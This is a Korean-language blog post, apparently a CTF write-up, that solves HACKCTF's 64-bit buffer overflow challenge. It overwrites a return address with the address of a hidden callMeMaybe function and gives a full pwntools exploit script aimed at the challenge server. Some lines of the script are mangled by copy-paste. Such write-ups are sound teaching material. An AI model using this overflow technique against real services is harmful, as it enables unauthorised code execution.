HACKCTF - x64 Buffer Overflow

2020. 7. 10. 11:00CTF's Write-up

문제 화면

 

문제 이름부터 전형적인 64bit BOF문제를 나타내는 것을 볼 수 있다.

 

 

실행 화면

 

실행은 입력한 값에 앞에 Hello 를 붙여주는 형식이다.

 

보호기법 확인

 

NX가 켜져있으니 전에 했던 문제들처럼 shellcode를 직접 넣어서 푸는 문제형식은 아닐것이다.

 

Main함수

 

scanf 에서 입력제한을두지 않으니 기본적인 bof기법으로 RET를 덮으면 될듯한데 쉘의 위치를 찾으려 하니 마침 아래 함수가 보였다.

 

 

callMeMaybe 함수

 

더미로 s[0x110]을 덮고 SFP[0x8] 추가해주고, 마지막 RET[0x8] <-- callmemaybe 주소를 넣으면 될 듯 한다.

 

callmemaybe 함수 어셈

 

함수의 주소 같은 경우는 어셈의 아랫부분을 보면 //starts at ~~~ 이 있는데 ~~부분이 함수의 주소값이다 참고하면 편하다.

따라서 정리하면 "A"*0x110 + "A"0x8 + RET 로 익스를 구성하면 될 듯 하다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= ELF("./64bof_basic")
#r = process("./64bof_basic")
= remote("ctf.j0n9hyun.xyz"3004)
context.log_level = "debug"
 
shell = 0x400606
 
sleep(0.1)
 
payload = ""
payload += "A"*0x110
payload += "A"*0x8
payload += p64(shell)
 
r.sendline(payload)
 
r.interactive()
 
cs

 

익스 코드는 위와 같고, 실행하면 다음과 같다.

 

익스 실행화면

(grin)

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Who am I?  (0) 2020.07.12
HACKCTF - Welcome_REV  (0) 2020.07.11
HACKCTF - Button  (0) 2020.07.09
HACKCTF - Home  (0) 2020.07.09
HACKCTF - 내 버퍼가 흘러넘친다!!!  (0) 2020.07.09